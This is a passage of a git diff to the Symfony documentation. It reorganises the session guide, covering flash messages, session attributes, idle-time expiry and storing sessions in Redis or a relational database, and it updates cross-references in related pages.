-updated page or an error page. Flash messages set in the previous page request
-would be displayed immediately on the subsequent page load for that session.
-This is however just one application for flash messages.
-
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\AutoExpireFlashBag`
-    In this implementation, messages set in one page-load will
-    be available for display only on the next page load. These messages will auto
-    expire regardless of if they are retrieved or not.
-
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBag`
-    In this implementation, messages will remain in the session until
-    they are explicitly retrieved or cleared. This makes it possible to use ESI
-    caching.
-
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface`
-has the API
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::add`
-    Adds a flash message to the stack of specified type.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::set`
-    Sets flashes by type; This method conveniently takes both single messages as
-    a ``string`` or multiple messages in an ``array``.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::get`
-    Gets flashes by type and clears those flashes from the bag.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::setAll`
-    Sets all flashes, accepts a keyed array of arrays ``type => [messages]``.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::all`
-    Gets all flashes (as a keyed array of arrays) and clears the flashes from the bag.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::peek`
-    Gets flashes by type (read only).
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::peekAll`
-    Gets all flashes (read only) as a keyed array of arrays.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::has`
-    Returns true if the type exists, false if not.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::keys`
-    Returns an array of the stored flash types.
-
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::clear`
-    Clears the bag.
-
-For simple applications it is usually sufficient to have one flash message per
-type, for example a confirmation notice after a form is submitted. However,
-flash messages are stored in a keyed array by flash ``$type`` which means your
-application can issue multiple messages for a given type. This allows the API
-to be used for more complex messaging in your application.
-
-Examples of setting multiple flashes::
-
-    use Symfony\Component\HttpFoundation\Session\Session;
-
-    $session = new Session();
-    $session->start();
-
-    // add flash messages
-    $session->getFlashBag()->add(
-        'warning',
-        'Your config file is writable, it should be set read-only'
-    );
-    $session->getFlashBag()->add('error', 'Failed to update name');
-    $session->getFlashBag()->add('error', 'Another error');
-
-Displaying the flash messages might look as follows.
-
-Display one type of message::
-
-    // display warnings
-    foreach ($session->getFlashBag()->get('warning', []) as $message) {
-        echo '<div class="flash-warning">'.$message.'</div>';
-    }
-
-    // display errors
-    foreach ($session->getFlashBag()->get('error', []) as $message) {
-        echo '<div class="flash-error">'.$message.'</div>';
-    }
-
-Compact method to process display all flashes at once::
-
-    foreach ($session->getFlashBag()->all() as $type => $messages) {
-        foreach ($messages as $message) {
-            echo '<div class="flash-'.$type.'">'.$message.'</div>';
-        }
-    }
diff --git a/controller.rst b/controller.rst
index ee9bc0d410a..13537ce27c7 100644
--- a/controller.rst
+++ b/controller.rst
@@ -391,128 +391,44 @@ Request object.
    single: Controller; The session
    single: Session
 
-.. _session-intro:
-
 Managing the Session
 --------------------
 
-Symfony provides a session object that you can use to store information
-about the user between requests. Session is enabled by default, but will only be
-started if you read or write from it.
-
-Session storage and other configuration can be controlled under the
-:ref:`framework.session configuration <config-framework-session>` in
-``config/packages/framework.yaml``.
-
-To get the session, add an argument and type-hint it with
-:class:`Symfony\\Component\\HttpFoundation\\Session\\SessionInterface`::
-
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\HttpFoundation\Session\SessionInterface;
-    // ...
-
-    public function index(SessionInterface $session): Response
-    {
-        // stores an attribute for reuse during a later user request
-        $session->set('foo', 'bar');
-
-        // gets the attribute set by another controller in another request
-        $foobar = $session->get('foobar');
-
-        // uses a default value if the attribute doesn't exist
-        $filters = $session->get('filters', []);
-
-        // ...
-    }
-
-Stored attributes remain in the session for the remainder of that user's session.
-
-For more info, see :doc:`/session`.
-
-.. index::
-   single: Session; Flash messages
-
-.. _flash-messages:
-
-Flash Messages
-~~~~~~~~~~~~~~
-
-You can also store special messages, called "flash" messages, on the user's
-session. By design, flash messages are meant to be used exactly once: they vanish
-from the session automatically as soon as you retrieve them. This feature makes
+You can store special messages, called "flash" messages, on the user's session.
+By design, flash messages are meant to be used exactly once: they vanish from
+the session automatically as soon as you retrieve them. This feature makes
 "flash" messages particularly great for storing user notifications.
 
 For example, imagine you're processing a :doc:`form </forms>` submission::
 
-    use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\HttpFoundation\Response;
-    // ...
+.. configuration-block::
 
-    public function update(Request $request): Response
-    {
-        // ...
+    .. code-block:: php-symfony
 
-        if ($form->isSubmitted() && $form->isValid()) {
-            // do some sort of processing
+        use Symfony\Component\HttpFoundation\Request;
+        use Symfony\Component\HttpFoundation\Response;
+        // ...
 
-            $this->addFlash(
-                'notice',
-                'Your changes were saved!'
-            );
-            // $this->addFlash() is equivalent to $request->getSession()->getFlashBag()->add()
+        public function update(Request $request): Response
+        {
+            // ...
 
-            return $this->redirectToRoute(/* ... */);
-        }
+            if ($form->isSubmitted() && $form->isValid()) {
+                // do some sort of processing
 
-        return $this->render(/* ... */);
-    }
+                $this->addFlash(
+                    'notice',
+                    'Your changes were saved!'
+                );
+                // $this->addFlash() is equivalent to $request->getSession()->getFlashBag()->add()
 
-After processing the request, the controller sets a flash message in the session
-and then redirects. The message key (``notice`` in this example) can be anything:
-you'll use this key to retrieve the message.
-
-In the template of the next page (or even better, in your base layout template),
-read any flash messages from the session using the ``flashes()`` method provided
-by the :ref:`Twig global app variable <twig-app-variable>`:
-
-.. code-block:: html+twig
-
-    {# templates/base.html.twig #}
-
-    {# read and display just one flash message type #}
-    {% for message in app.flashes('notice') %}
-        <div class="flash-notice">
-            {{ message }}
-        </div>
-    {% endfor %}
-
-    {# read and display several types of flash messages #}
-    {% for label, messages in app.flashes(['success', 'warning']) %}
-        {% for message in messages %}
-            <div class="flash-{{ label }}">
-                {{ message }}
-            </div>
-        {% endfor %}
-    {% endfor %}
-
-    {# read and display all flash messages #}
-    {% for label, messages in app.flashes %}
-        {% for message in messages %}
-            <div class="flash-{{ label }}">
-                {{ message }}
-            </div>
-        {% endfor %}
-    {% endfor %}
-
-It's common to use ``notice``, ``warning`` and ``error`` as the keys of the
-different types of flash messages, but you can use any key that fits your
-needs.
+                return $this->redirectToRoute(/* ... */);
+            }
 
-.. tip::
+            return $this->render(/* ... */);
+        }
 
-    You can use the
-    :method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::peek`
-    method instead to retrieve the message while keeping it in the bag.
+:ref:`Reading <session-intro>` for more information about using Sessions.
 
 .. index::
    single: Controller; Response object
diff --git a/doctrine.rst b/doctrine.rst
index c7c5fb86b80..04cbe6710ca 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -882,7 +882,6 @@ Learn more
     doctrine/multiple_entity_managers
     doctrine/resolve_target_entity
     doctrine/reverse_engineering
-    session/database
     testing/database
 
 .. _`Doctrine`: https://www.doctrine-project.org/
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index cb963187290..48249f572a3 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1582,7 +1582,7 @@ handler_id
 The service id used for session storage. The default value ``'session.handler.native_file'``
 will let Symfony manage the sessions itself using files to store the session metadata.
 Set it to ``null`` to use the native PHP session mechanism.
-You can also :doc:`store sessions in a database </session/database>`.
+You can also :ref:`store sessions in a database <session-database>`.
 
 .. _name:
 
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 924cacf83a3..d596d473845 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -370,9 +370,9 @@ The firewall dispatches the ``security.switch_user`` event right after the imper
 is completed. The :class:`Symfony\\Component\\Security\\Http\\Event\\SwitchUserEvent` is
 passed to the listener, and you can use this to get the user that you are now impersonating.
 
-The :doc:`/session/locale_sticky_session` article does not update the locale
-when you impersonate a user. If you *do* want to be sure to update the locale when
-you switch users, add an event subscriber on this event::
+The :ref:`locale-sticky-session` section does not update the locale when you
+impersonate a user. If you *do* want to be sure to update the locale when you
+switch users, add an event subscriber on this event::
 
     // src/EventListener/SwitchUserSubscriber.php
     namespace App\EventListener;
diff --git a/session.rst b/session.rst
index 90ef240013e..2d6c9cd2012 100644
--- a/session.rst
+++ b/session.rst
@@ -1,15 +1,262 @@
+.. index::
+   single: HTTP
+   single: HttpFoundation, Sessions
+
 Sessions
 ========
 
-Symfony provides a session object and several utilities that you can use to
-store information about the user between requests.
+The Symfony HttpFoundation component has a very powerful and flexible session
+subsystem which is designed to provide session management that you can use to
+store information about the user between requests through a clear
+object-oriented interface using a variety of session storage drivers.
+
+Symfony sessions are designed to replace the usage of the ``$_SESSION`` super
+global and native PHP functions related to manipulating the session like
+``session_start()``, ``session_regenerate_id()``, ``session_id()``,
+``session_name()``, and ``session_destroy()``.
+
+.. note::
+
+    Sessions are only started if you read or write from it.
+
+Installation
+------------
+
+You need to install the HttpFoundation component to handle sessions:
+
+.. code-block:: terminal
+
+    $ composer require symfony/http-foundation
+
+.. _session-intro:
+
+Basic Usage
+-----------
+
+The session is available through the ``Request`` object and the ``RequestStack``
+service. Symfony injects the ``request_stack`` service in services and controllers
+if you type-hint an argument with :class:`Symfony\\Component\\HttpFoundation\\RequestStack`::
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        use Symfony\Component\HttpFoundation\RequestStack;
+
+        class SomeService
+        {
+            private $requestStack;
+
+            public function __construct(RequestStack $requestStack)
+            {
+                $this->requestStack = $requestStack;
+
+                // Accessing the session in the constructor is *NOT* recommended, since
+                // it might not be accessible yet or lead to unwanted side-effects
+                // $this->session = $requestStack->getSession();
+            }
+
+            public function someMethod()
+            {
+                $session = $this->requestStack->getSession();
+
+                // ...
+            }
+        }
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HttpFoundation\Session\Session;
+
+        $session = new Session();
+        $session->start();
+
+From a Symfony controller, you can also type-hint an argument with
+:class:`Symfony\\Component\\HttpFoundation\\Request`::
+
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
+
+    public function index(Request $request): Response
+    {
+        $session = $request->getSession();
+
+        // ...
+    }
+
+Session Attributes
+------------------
+
+PHP's session management requires the use of the ``$_SESSION`` super-global.
+However, this interferes with code testability and encapsulation in an OOP
+paradigm. To help overcome this, Symfony uses *session bags* linked to the
+session to encapsulate a specific dataset of **attributes**.
+
+This approach mitigates namespace pollution within the ``$_SESSION``
+super-global because each bag stores all its data under a unique namespace.
+This allows Symfony to peacefully co-exist with other applications or libraries
+that might use the ``$_SESSION`` super-global and all data remains completely
+compatible with Symfony's session management.
+
+A session bag is a PHP object that acts like an array::
+
+    // stores an attribute for reuse during a later user request
+    $session->set('attribute-name', 'attribute-value');
+
+    // gets an attribute by name
+    $foo = $session->get('foo');
+
+    // the second argument is the value returned when the attribute doesn't exist
+    $filters = $session->get('filters', []);
+
+Stored attributes remain in the session for the remainder of that user's session.
+By default, session attributes are key-value pairs managed with the
+:class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBag`
+class.
+
+.. tip::
+
+    Sessions are automatically started whenever you read, write or even check
+    for the existence of data in the session. This may hurt your application
+    performance because all users will receive a session cookie. In order to
+    prevent starting sessions for anonymous users, you must *completely* avoid
+    accessing the session.
+
+.. index::
+   single: Session; Flash messages
+
+.. _flash-messages:
+
+Flash Messages
+--------------
+
+You can store special messages, called "flash" messages, on the user's session.
+By design, flash messages are meant to be used exactly once: they vanish from
+the session automatically as soon as you retrieve them. This feature makes
+"flash" messages particularly great for storing user notifications.
+
+For example, imagine you're processing a :doc:`form </forms>` submission::
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        use Symfony\Component\HttpFoundation\Request;
+        use Symfony\Component\HttpFoundation\Response;
+        // ...
+
+        public function update(Request $request): Response
+        {
+            // ...
+
+            if ($form->isSubmitted() && $form->isValid()) {
+                // do some sort of processing
+
+                $this->addFlash(
+                    'notice',
+                    'Your changes were saved!'
+                );
+                // $this->addFlash() is equivalent to $request->getSession()->getFlashBag()->add()
+
+                return $this->redirectToRoute(/* ... */);
+            }
+
+            return $this->render(/* ... */);
+        }
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HttpFoundation\Session\Session;
+
+        $session = new Session();
+        $session->start();
+
+        // retrieve the flash messages bag
+        $flashes = $session->getFlashBag();
+
+        // add flash messages
+        $flashes->add(
+            'warning',
+            'Your config file is writable, it should be set read-only'
+        );
+        $flashes->add('error', 'Failed to update name');
+        $flashes->add('error', 'Another error');
+
+After processing the request, the controller sets a flash message in the session
+and then redirects. The message key (``notice`` in this example) can be anything:
+you'll use this key to retrieve the message.
+
+In the template of the next page (or even better, in your base layout template),
+read any flash messages from the session using the ``flashes()`` method provided
+by the :ref:`Twig global app variable <twig-app-variable>`:
+
+.. configuration-block::
+
+    .. code-block:: html+twig
+
+        {# templates/base.html.twig #}
+
+        {# read and display just one flash message type #}
+        {% for message in app.flashes('notice') %}
+            <div class="flash-notice">
+                {{ message }}
+            </div>
+        {% endfor %}
+
+        {# read and display several types of flash messages #}
+        {% for label, messages in app.flashes(['success', 'warning']) %}
+            {% for message in messages %}
+                <div class="flash-{{ label }}">
+                    {{ message }}
+                </div>
+            {% endfor %}
+        {% endfor %}
+
+        {# read and display all flash messages #}
+        {% for label, messages in app.flashes %}
+            {% for message in messages %}
+                <div class="flash-{{ label }}">
+                    {{ message }}
+                </div>
+            {% endfor %}
+        {% endfor %}
+
+    .. code-block:: php-standalone
+
+        // display warnings
+        foreach ($session->getFlashBag()->get('warning', []) as $message) {
+            echo '<div class="flash-warning">'.$message.'</div>';
+        }
+
+        // display errors
+        foreach ($session->getFlashBag()->get('error', []) as $message) {
+            echo '<div class="flash-error">'.$message.'</div>';
+        }
+
+        // display all flashes at once
+        foreach ($session->getFlashBag()->all() as $type => $messages) {
+            foreach ($messages as $message) {
+                echo '<div class="flash-'.$type.'">'.$message.'</div>';
+            }
+        }
+
+It's common to use ``notice``, ``warning`` and ``error`` as the keys of the
+different types of flash messages, but you can use any key that fits your
+needs.
+
+.. tip::
+
+    You can use the
+    :method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::peek`
+    method instead to retrieve the message while keeping it in the bag.
 
 Configuration
 -------------
 
-Sessions are provided by the `HttpFoundation component`_, which is included in
-all Symfony applications, no matter how you installed it. Before using the
-sessions, check their default configuration:
+In the Symfony framework, sessions are enabled by default. Session storage and
+other configuration can be controlled under the :ref:`framework.session
+configuration <config-framework-session>` in
+``config/packages/framework.yaml``:
 
 .. configuration-block::
 
@@ -75,6 +322,19 @@ sessions, check their default configuration:
             ;
         };
 
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HttpFoundation\Cookie;
+        use Symfony\Component\HttpFoundation\Session\Attribute\AttributeBag;
+        use Symfony\Component\HttpFoundation\Session\Session;
+        use Symfony\Component\HttpFoundation\Session\Storage\NativeSessionStorage;
+
+        $storage = new NativeSessionStorage([
+            'cookie_secure' => 'auto',
+            'cookie_samesite' => Cookie::SAMESITE_LAX,
+        ]);
+        $session = new Session($storage);
+
 Setting the ``handler_id`` config option to ``null`` means that Symfony will
 use the native PHP session mechanism. The session metadata files will be stored
 outside of the Symfony application, in a directory controlled by PHP. Although
@@ -129,87 +389,281 @@ session metadata files:
             ;
         };
 
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HttpFoundation\Cookie;
+        use Symfony\Component\HttpFoundation\Session\Attribute\AttributeBag;
+        use Symfony\Component\HttpFoundation\Session\Session;
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\NativeFileSessionHandler;
+        use Symfony\Component\HttpFoundation\Session\Storage\NativeSessionStorage;
+
+        $handler = new NativeFileSessionHandler('/var/sessions');
+        $storage = new NativeSessionStorage([], $handler);
+        $session = new Session($storage);
+
 Check out the Symfony config reference to learn more about the other available
-:ref:`Session configuration options <config-framework-session>`. You can also
-:doc:`store sessions in a database </session/database>`.
+:ref:`Session configuration options <config-framework-session>`.
 
-Basic Usage
------------
+.. caution::
 
-The session is available through the ``Request`` object and the ``RequestStack``
-service. Symfony injects the ``request_stack`` service in services and controllers
-if you type-hint an argument with :class:`Symfony\\Component\\HttpFoundation\\RequestStack`::
+    Symfony sessions are incompatible with ``php.ini`` directive
+    ``session.auto_start = 1`` This directive should be turned off in
+    ``php.ini``, in the web server directives or in ``.htaccess``.
 
-    use Symfony\Component\HttpFoundation\RequestStack;
+Session Idle Time/Keep Alive
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-    class SomeService
-    {
-        private $requestStack;
+There are often circumstances where you may want to protect, or minimize
+unauthorized use of a session when a user steps away from their terminal while
+logged in by destroying the session after a certain period of idle time. For
+example, it is common for banking applications to log the user out after just
+5 to 10 minutes of inactivity. Setting the cookie lifetime here is not
+appropriate because that can be manipulated by the client, so we must do the expiry
+on the server side. The easiest way is to implement this via garbage collection
+which runs reasonably frequently. The ``cookie_lifetime`` would be set to a
+relatively high value, and the garbage collection ``gc_maxlifetime`` would be set
+to destroy sessions at whatever the desired idle period is.
 
-        public function __construct(RequestStack $requestStack)
-        {
-            $this->requestStack = $requestStack;
+The other option is specifically check if a session has expired after the
+session is started. The session can be destroyed as required. This method of
+processing can allow the expiry of sessions to be integrated into the user
+experience, for example, by displaying a message.
 
-            // Accessing the session in the constructor is *NOT* recommended, since
-            // it might not be accessible yet or lead to unwanted side-effects
-            // $this->session = $requestStack->getSession();
-        }
+Symfony records some metadata about each session to give you fine control over
+the security settings::
 
-        public function someMethod()
-        {
-            $session = $this->requestStack->getSession();
+    $session->getMetadataBag()->getCreated();
+    $session->getMetadataBag()->getLastUsed();
+
+Both methods return a Unix timestamp (relative to the server).
+
+This metadata can be used to explicitly expire a session on access::
+
+    $session->start();
+    if (time() - $session->getMetadataBag()->getLastUsed() > $maxIdleTime) {
+        $session->invalidate();
+        throw new SessionExpired(); // redirect to expired session page
+    }
+
+It is also possible to tell what the ``cookie_lifetime`` was set to for a
+particular cookie by reading the ``getLifetime()`` method::
+
+    $session->getMetadataBag()->getLifetime();
+
+The expiry time of the cookie can be determined by adding the created
+timestamp and the lifetime.
+
+.. index::
+    single: Session; Database Storage
+
+.. _session-database:
+
+Store Sessions in a Database
+----------------------------
+
+Symfony stores sessions in files by default. If your application is served by
+multiple servers, you'll need to use a database instead to make sessions work
+across different servers.
 
-            // stores an attribute in the session for later reuse
-            $session->set('attribute-name', 'attribute-value');
+Symfony can store sessions in all kinds of databases (relational, NoSQL and
+key-value) but recommends key-value databases like Redis to get best
+performance.
 
-            // gets an attribute by name
-            $foo = $session->get('foo');
+Store Sessions in a key-value Database (Redis)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-            // the second argument is the value returned when the attribute doesn't exist
-            $filters = $session->get('filters', []);
+This section assumes that you have a fully-working Redis server and have also
+installed and configured the `phpredis extension`_.
 
+You have two different options to use Redis to store sessions:
+
+The first PHP-based option is to configure Redis session handler directly
+in the server ``php.ini`` file:
+
+.. code-block:: ini
+
+    ; php.ini
+    session.save_handler = redis
+    session.save_path = "tcp://192.168.0.178:6379?auth=REDIS_PASSWORD"
+
+The second option is to configure Redis sessions in Symfony. First, define
+a Symfony service for the connection to the Redis server:
+
+.. configuration-block::
+
+        # config/services.yaml
+        services:
+            # ...
+            Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler:
+                arguments:
+                    - '@Redis'
+                    # you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
+                    # which define the prefix to use for the keys to avoid collision on the Redis server
+                    # and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
+                    # - { 'prefix': 'my_prefix', 'ttl': 600 }
+
+            Redis:
+                # you can also use \RedisArray, \RedisCluster or \Predis\Client classes
+                class: Redis
+                calls:
+                    - connect:
+                        - '%env(REDIS_HOST)%'
+                        - '%env(int:REDIS_PORT)%'
+
+                    # uncomment the following if your Redis server requires a password
+                    # - auth:
+                    #     - '%env(REDIS_PASSWORD)%'
+                    
+                    # uncomment the following if your Redis server requires a user and a password (when user is not default)
+                    # - auth:
+                    #     - ['%env(REDIS_USER)%','%env(REDIS_PASSWORD)%']
+
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- you can also use \RedisArray, \RedisCluster or \Predis\Client classes -->
+                <service id="Redis" class="Redis">
+                    <call method="connect">
+                        <argument>%env(REDIS_HOST)%</argument>
+                        <argument>%env(int:REDIS_PORT)%</argument>
+                    </call>
+
+                    <!-- uncomment the following if your Redis server requires a password:
+                    <call method="auth">
+                        <argument>%env(REDIS_PASSWORD)%</argument>
+                    </call> -->
+
+                    <!-- uncomment the following if your Redis server requires a user and a password (when user is not default):
+                    <call method="auth">
+                        <argument>%env(REDIS_USER)%</argument>
+                        <argument>%env(REDIS_PASSWORD)%</argument>
+                    </call> -->
+                </service>
+
+                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler">
+                    <argument type="service" id="Redis"/>
+                    <!-- you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
+                         which define the prefix to use for the keys to avoid collision on the Redis server
+                         and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
+                    <argument type="collection">
+                        <argument key="prefix">my_prefix</argument>
+                        <argument key="ttl">600</argument>
+                    </argument> -->
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        use Symfony\Component\DependencyInjection\Reference;
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
+
+        $container
+            // you can also use \RedisArray, \RedisCluster or \Predis\Client classes
+            ->register('Redis', \Redis::class)
+            ->addMethodCall('connect', ['%env(REDIS_HOST)%', '%env(int:REDIS_PORT)%'])
+            // uncomment the following if your Redis server requires a password:
+            // ->addMethodCall('auth', ['%env(REDIS_PASSWORD)%'])
+            // uncomment the following if your Redis server requires a user and a password (when user is not default):
+            // ->addMethodCall('auth', ['%env(REDIS_USER)%', '%env(REDIS_PASSWORD)%'])
+
+            ->register(RedisSessionHandler::class)
+            ->addArgument(
+                new Reference('Redis'),
+                // you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
+                // which define the prefix to use for the keys to avoid collision on the Redis server
+                // and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
+                // ['prefix' => 'my_prefix', 'ttl' => 600],
+            )
+        ;
+
+Next, use the :ref:`handler_id <config-framework-session-handler-id>`
+configuration option to tell Symfony to use this service as the session handler:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            session:
+                handler_id: Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- ... -->
+                <framework:session handler-id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler"/>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-        }
-    }
+            $framework->session()
+                ->handlerId(RedisSessionHandler::class)
+            ;
+        };
 
-.. deprecated:: 5.3
+Symfony will now use your Redis server to read and write the session data. The
+main drawback of this solution is that Redis does not perform session locking,
+so you can face *race conditions* when accessing sessions. For example, you may
+see an *"Invalid CSRF token"* error because two requests were made in parallel
+and only the first one stored the CSRF token in the session.
 
-    The ``SessionInterface`` and ``session`` service were deprecated in
-    Symfony 5.3. Instead, inject the ``RequestStack`` service to get the session
-    object of the current request.
+.. seealso::
 
-Stored attributes remain in the session for the remainder of that user's session.
-By default, session attributes are key-value pairs managed with the
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBag`
-class.
+    If you use Memcached instead of Redis, follow a similar approach but
+    replace ``RedisSessionHandler`` by
+    :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MemcachedSessionHandler`.
 
-.. deprecated:: 5.3
+.. _session-database-pdo:
 
-    The ``NamespacedAttributeBag`` class is deprecated since Symfony 5.3.
-    If you need this feature, you will have to implement the class yourself.
+Store Sessions in a Relational Database (MariaDB, MySQL, PostgreSQL)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If your application needs are complex, you may prefer to use
-:ref:`namespaced session attributes <namespaced-attributes>` which are managed with the
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\NamespacedAttributeBag`
-class. Before using them, override the ``session_listener`` service definition to build
-your ``Session`` object with the default ``AttributeBag`` by the ``NamespacedAttributeBag``:
+Symfony includes a
+:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler`
+to store sessions in relational databases like MariaDB, MySQL and PostgreSQL.
+To use it, first register a new handler service with your database credentials:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
         # config/services.yaml
-        session.factory:
-            autoconfigure: true
-            class: App\Session\SessionFactory
-            arguments:
-            - '@request_stack'
-            - '@session.storage.factory'
-            - ['@session_listener', 'onSessionUsage']
-            - '@session.namespacedattributebag'
-
-        session.namespacedattributebag:
-            class: Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag
+        services:
+            # ...
+
+            Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler:
+                arguments:
+                    - '%env(DATABASE_URL)%'
+
+                    # you can also use PDO configuration, but requires passing two arguments
+                    # - 'mysql:dbname=mydatabase; host=myhost; port=myport'
+                    # - { db_username: myuser, db_password: mypassword }
 
     .. code-block:: xml
 
@@ -217,18 +671,22 @@ your ``Session`` object with the default ``AttributeBag`` by the ``NamespacedAtt
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <services>
-                <service id="session" class="Symfony\Component\HttpFoundation\Session\Session" public="true">
-                    <argument type="service" id="session.storage"/>
-                    <argument type="service" id="session.namespacedattributebag"/>
-                    <argument type="service" id="session.flash_bag"/>
-                </service>
+                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler" public="false">
+                    <argument>%env(DATABASE_URL)%</argument>
 
-                <service id="session.namespacedattributebag"
-                    class="Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag"
-                />
+                    <!-- you can also use PDO configuration, but requires passing two arguments: -->
+                    <!-- <argument>mysql:dbname=mydatabase; host=myhost; port=myport</argument>
+                        <argument type="collection">
+                            <argument key="db_username">myuser</argument>
+                            <argument key="db_password">mypassword</argument>
+                        </argument> -->
+                </service>
             </services>
         </container>
 
@@ -237,43 +695,926 @@ your ``Session`` object with the default ``AttributeBag`` by the ``NamespacedAtt
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        use Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag;
-        use Symfony\Component\HttpFoundation\Session\Session;
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return static function (ContainerConfigurator $container) {
+            $services = $configurator->services();
 
-            $services->set('session', Session::class)
-                ->public()
+            $services->set(PdoSessionHandler::class)
                 ->args([
-                    ref('session.storage'),
-                    ref('session.namespacedattributebag'),
-                    ref('session.flash_bag'),
+                    env('DATABASE_URL'),
+                    // you can also use PDO configuration, but requires passing two arguments:
+                    // 'mysql:dbname=mydatabase; host=myhost; port=myport',
+                    // ['db_username' => 'myuser', 'db_password' => 'mypassword'],
                 ])
             ;
+        };
+
+.. tip::
+
+    When using MySQL as the database, the DSN defined in ``DATABASE_URL`` can
+    contain the ``charset`` and ``unix_socket`` options as query string parameters.
+
+    .. versionadded:: 5.3
+
+        The support for ``charset`` and ``unix_socket`` options was introduced
+        in Symfony 5.3.
+
+Next, use the :ref:`handler_id <config-framework-session-handler-id>`
+configuration option to tell Symfony to use this service as the session handler:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
